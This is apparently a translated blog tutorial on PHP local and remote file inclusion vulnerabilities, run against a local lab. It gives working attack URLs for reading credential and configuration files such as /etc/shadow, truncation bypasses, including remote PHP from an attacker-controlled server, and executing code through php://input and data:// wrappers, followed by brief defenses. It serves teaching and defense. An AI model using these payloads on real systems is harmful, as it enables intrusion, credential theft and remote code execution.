Talking about the file contains loopholes

Talking about the file contains loopholes

This article summarizes the use of file inclusion vulnerabilities and PHP packaging protocol. Little talent, please correct me if you make any mistakes~

  • Article Directory

concept

File inclusion is a major feature of the PHP language. For the convenience of development, programmers often use file inclusion. For example, write a series of function functions into fuction.php, and then write a sentence directly in the file header when a file needs to be called

<?php 
    include fuction.php
    //.....
?>

You can call internally defined functions.

To summarize in one sentence, in order to better use the code reusability, the file include function is introduced. You can include the file through the file include function, and directly use the code of the include file.

Cause

In order to include files flexibly, the programmer introduces the files that need to be included through dynamic variables. The user can control the value of the variable, but the server side does not perform a reasonable check on the variable value or the check is bypassed , thus operating beyond expectations Files, leading to accidental file disclosure and even malicious code injection.

Simply put, using a controllable variable as the file name and calling it in the way that the file contains, the vulnerability occurs.

File inclusion vulnerabilities usually appear in the PHP language. For example, in the pseudo code below, the dynamic variable $file can be controlled by the user, and there is a file inclusion vulnerability

<?php
    $file = $_GET['file'];
    include($file);
	// .....
?>

PHP commonly used file contains functions

  • include()
  • include_once(): Check whether the file is imported before importing the function, if it is, it will not be executed
  • require()
  • require_once(): Check whether the file has been imported before importing the function, if it is, it will not be executed
The difference between the four functions Encounter an error, exit the program directly Encountered an error, continue execution
Does not detect whether the included file was imported before require() include()
Check whether the included file was imported before require_once() include_once()

If the parameters of include()/require()/include_once()/require_once() are controllable, if the import is a non-.php file, it will still be parsed according to the php syntax, which is determined by the include() function.

Vulnerability environment construction

Download and install phpStudy directly, a PHP integrated environment that can switch multiple different PHP versions with one click

image-20201022110920196

Local File Contains Vulnerabilities (LFI)

LFI (Local File Include) means that the local file includes

  • Local file include: the file to be included is locally

    • url:http://localhost/wenjianbaohan/b.php?url=1.txt
  • Why use local file inclusion in WEB development?

    • General information such as header/footer of the website page is introduced through the include method to improve code reuse and speed up development
    • The introduction of general configuration files, such as database configuration and connection introduction through include
    • The code related to input security filtering is unified encapsulated into a file using local file inclusion and imported into different input functions

Unlimited local file contains vulnerabilities

The test file file.php, the code is as follows:

<?php
    $file = $_GET['file'];
    include($file);
	// .....
?>

The $file variable is not verified, which can contain any files. The verification results are as follows

image-20201022101338838

Common sensitive information paths:

Windows system

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix system

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

Limited local file contains vulnerabilities

The test file file2.php, the code is as follows:

<?php
    $file = $_GET['file'];
    include($file . ".html");  //包含传入文件名.html文件
	// .....
?>

0x01: 00 character truncation

The principle of 00 truncation is to use 0x00 as the end identifier of the string. Attackers can manually add the string identifier to truncate the following content, and the latter content can help us bypass detection.

Vulnerability Number: CVE-2006-7243

漏洞描述: PHP before 5.3.4 accepts the \0 character in a pathname, which might allow context-dependent attackers to bypass intended access restrictions by placing a safe file extension after this character, as demonstrated by .php\0.jpg at the end of the argument to the file_exists function.

It should be noted that the restriction of 00 truncation:

  • PHP < 5.3.4
  • magic_quotes_gpc = Off

Deploy the environment according to the restrictions:

  • Select PHP5.2.1 in phpstudy
  • Modify magic_quotes_gpc from the default value On to Off in the php.ini configuration file

First try to include the 1.txt file, request

http://www.lfi.com/file2.php?file=1.txt

The result is as shown in the figure below. Since the file suffix is ​​mandatory in the code html, if you want to include a different file suffix, you can use 00 to cut

image-20201022103546510

Make a request:

http://www.lfi.com/file2.php?file=1.txt%00

You can successfully bypass the html suffix including 1.txt

image-20201022103930232

0x02: Path length truncation

In addition to the 00 truncation bypass, the domestic security researcher cloie discovered a technique-the use of the operating system's limit on the maximum length of the directory can achieve truncation without requiring 0 bytes.

The directory string reaches the maximum value at 256 bytes under Windows and 4096 bytes under Linux, and characters after the maximum length will be discarded.

limitation factor:

  • PHP <5.2.8 (?) can be successfully truncated after testing until 5.2.11
  • linux needs file name longer than 4096, windows needs longer than 256

Therefore, a sufficiently long directory can be constructed through [./]. such as

././././././././././././././././passwd

or

passwd

Deployment environment for restrictions:

  • Select PHP5.2.1 in phpstudy
  • Windows10

Make a request:

http://www.lfi.com/file2.php?file=1.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

image-20201022105326650

0x03: Point number truncation

limitation factor:

  • PHP <5.2.8 (?) can be successfully truncated after testing until 5.2.11
  • Only applicable to windows, the dot number needs to be longer than 256
http://www.lfi.com/file2.php?file=1.txt...........................................................................................................................................................................................................................................

image-20201022105715097

Remote file inclusion vulnerability (RFI)

RFI (Remote File Include) means remote file inclusion

  • Remote file inclusion: the file to be included is on another host
    • Need allow_url_include=on in php.ini of the host where the file is located
    • url:http://localhost/wenjianbaohan/b.php?url=http://10.10.10.131/RFI/1.txt

Unlimited remote file contains vulnerabilities

The test code file.php, the code is as follows:

<?php
    $file = $_GET['file'];
    include($file);
	// .....
?>

limitation factor:

  • allow_url_include = On (starting from PHP5.2 version, the default value is Off)
  • allow_url_fopen = On (the default value is On)

Deployment environment for restrictions:

  • Modify the allow_url_include value to On in php.ini

Save the php.txt file in Tencent Cloud vps

<?php
phpinfo();
?>

Make a request to include the php.txt file:

http://www.lfi.com/file.php?file=http://xx.xx.xx.xx:x31/php.txt

image-20201022112359601

Limited remote file contains vulnerabilities

The test file file2.php, the code is as follows:

<?php
    $file = $_GET['file'];
    include($file . ".html");  //包含传入文件名.html文件
	// .....
?>

The code is suffixed with html, and an error is reported when you visit php.txt again

image-20201022114359573

0x01: Question mark bypass

It seems that the second half of the path is fixed here, but it can be bypassed by combining the principle of HTTP parameter transfer

limitation factor:

  • allow_url_include = On (starting from PHP5.2 version, the default value is Off)
  • allow_url_fopen = On (the default value is On)

Construct the following attack URL

http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x31/php.txt?

result:

image-20201022115326017

The principle of production:

?file=http://xx.xx.xx.xx:x31/php.txt?
最终目标应用程序代码实际上执行了:
include "http://xx.xx.xx.xx:x31/php.txt?.html";
(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)

0x02: # bypass

limitation factor:

  • allow_url_include = On (starting from PHP5.2 version, the default value is Off)
  • allow_url_fopen = On (the default value is On)

Construction request:

http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x631/php.txt%23

image-20201022115443536

0x03: Guess the file suffix

limitation factor:

  • allow_url_include = On (starting from PHP5.2 version, the default value is Off)
  • allow_url_fopen = On (the default value is On)

According to the current web environment and function points, check the error message or guess that the source code contains the suffix required by the function , save the suffix file such as php.html/php.txt/php.jpg/php.png on the vps, and then construct the request :

http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x631/php

If there is a suffix that contains the function requirements, the result is

image-20201022173750966

PHP pseudo-protocol

PHP has many built-in URL-style packaging protocols, which can be used for file system functions like fopen() , copy() , file_exists() and filesize() .

Official document: https://www.php.net/manual/zh/wrappers.file.php

Pseudo protocol supported in PHP, tested in this article PHP>=5.2

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

0x01: file:// protocol

  • condition:

    • allow_url_fopen :off/on
    • allow_url_include:off/on
  • effect:

    file:// is used to access the local file system. It is usually used to read local files in CTF and is not affected by allow_url_fopen and allow_url_include

  • usage:

    /path/to/file.ext
    relative/path/to/file.ext
    fileInCwd.ext
    C:/path/to/winfile.ext
    C:\path\to\winfile.ext
    \\smbserver\share\path\to\winfile.ext
    file:///path/to/file.ext
    
  • Example:

    image-20201022151907970

0x02: php://protocol

  • condition:

    • allow_url_fopen:off/on
    • allow_url_include: Only php://input php://stdin php://memory php://tempneeds to be on
  • effect:

    php://Access to each input / output streams (I / O streams), often used in the CTF is php://filterand php://input, php://filterfor reading the source code , php://inputfor performing php code .

  • usage:

    PHP provides some miscellaneous input/output (IO) streams, allowing access to PHP's input and output streams , standard input and output, and error descriptors, temporary file streams in memory, disk backup, and other filtering that can manipulate other read and write file resources Device.

    protocol effect
    php://input You can access the read-only stream of the requested raw data, you can read the raw data that the post has not parsed, and execute the data in the post request as PHP code. Because it does not rely on specific php.ini directives. Is invalid at enctype="multipart/form-data"the time php://input.
    php://output The write-only data stream allows writing to the output buffer in the same way as print and echo.
    php://fd (>=5.3.6) Allow direct access to the specified file descriptor. For example, php://fd/3she cited the file descriptor 3.
    php://memory php://temp (>=5.1.0) A data stream similar to a file wrapper, allowing temporary data to be read and written. The only difference between the two is php://memoryalways the data stored in memory, and php://tempafter the meeting, including the stock reaches a predefined limit (by default 2MB) is stored in a temporary file. Temporary file location decisions and sys_get_temp_dir()consistent manner.
    php://filter (>=5.0.0) A meta-wrapper designed for filtering applications when the data stream is opened. It is (all-in-one)very useful for all- in- one file functions, similar to readfile(), file()and file_get_contents(), there is no chance to apply other filters before the data stream content is read.
    • php://filterDetailed parameter

      The parameters of the protocol will be passed on the protocol path, and multiple parameters can be passed on one path. The specific reference is as follows:

      php://filter parameters description
      resource=<data stream to be filtered> Required. It specifies the data stream you want to filter.
      read=<filter for reading chain> Optional. One or more filter names can be set, separated by a pipe character (|)
      write=<write chain filter> Optional. One or more filter names can be set, separated by a pipe character (|)
      <; filter for two chains> Any filter list not prefixed with read= or write= will be applied to the read or write chain as appropriate
    • List of available filters (4 categories)

      The main filter types are listed here. For details, please refer to: https://www.php.net/manual/zh/filters.php

      String filter effect
      string.rot13 Equivalent to str_rot13()rot13 transform
      string.toupper Equivalent to strtoupper(), turn capital letters
      string.tolower Same as strtolower(), turn lowercase letters
      string.strip_tags Equivalent to strip_tags()removing html and PHP language tags
      Conversion filter effect
      convert.base64-encode & convert.base64-decode Equivalent to base64_encode()sum base64_decode(), base64 encoding and decoding
      convert.quoted-printable-encode & convert.quoted-printable-decode Encoding and decoding of quoted-printable strings and 8-bit strings
      Compression filter effect
      zlib.deflate & zlib.inflate A method of creating gzip-compatible files in the local file system, but does not generate header and trailer information for command-line tools such as gzip. Just compress and decompress the payload part of the data stream.
      bzip2.compress & bzip2.decompress Same as above, the method of creating bz2 compatible files in the local file system.
      Encryption filter effect
      mcrypt.* libmcrypt symmetric encryption algorithm
      mdecrypt. * libmcrypt symmetric decryption algorithm
  • Example:

    1. In the case of allow_url_fopen=Off and allow_url_include=Off, the source code of the file can be read using the php://filter protocol

      php://filter/read=convert.base64-encode/resource=file2.php
      

    image-20201022160025020

    image-20201022160134451

    1. In the case of allow_url_include=On, php://input + [POST DATA]execute php code
    http://www.lfi.com/file.php?file=php://input
    [POST DATA部分]
    <?php phpinfo(); ?> //若具有写权限,可直接一句话getshell
    

    image-20201022160703315

0x03: zip:// & bzip2:// & zlib:// protocol

  • condition:

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • effect:

    zip://, bzip2://, zlib:// are compressed streams, you can access the sub-files in the compressed file, and more importantly, you don't need to specify the suffix name, you can modify it to any suffix: jpg png gif xxxetc.

  • usage:

    3个封装协议,都是直接打开压缩文件。
    compress.zlib://file.gz   - 处理的是 '.gz'  后缀的压缩包
    compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
    zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件
    
  • Example:

    1. PHP >= 5.3.0, zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]( #code is%23)

      First compress php.txt locally to php.zip, rename the compressed package to php.png, then upload and access the contents of the compressed package in zip format

      http://www.lfi.com/file.php?file=zip://E:\tools\php.png%23php.txt
      

      image-20201022162846963

0x04: data:// protocol

  • condition:

    • allow_url_fopen:on
    • allow_url_include :on
    • PHP >= 5.2.0
  • Role: Since PHP>=5.2.0then, you can use the data://data stream encapsulator to transfer data in the corresponding format. Usually can be used to execute PHP code.

  • usage:

    data://text/plain,
    data://text/plain;base64,
    
  • Example:

    1. data://text/plain,

      http://www.lfi.com/file.php?file=data://text/plain,%3C?php%20phpinfo();?%3E
      

      image-20201022163656024

    2. data://text/plain;base64,

      http://www.lfi.com/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
      

      image-20201022164348662

0x05: Summary

image-20201022164616760

Vulnerability defense

  • PHP uses open_basedir configuration to restrict access to specified areas
  • Filter. (dot) / (slash) \ (backslash)
  • Prohibit server remote file inclusion
  • Try not to use dynamic inclusion, and write it on the pages that need to be included

reference

File contains summary of vulnerabilities

LFI, RFI, PHP packaging protocol security issues learning

PHP pseudo protocol summary

00 truncation principle analysis

Use of truncation in file inclusion and upload

File contains vulnerabilities and PHP pseudo-protocol

Guess you like

Origin blog.csdn.net/weixin_39664643/article/details/109239131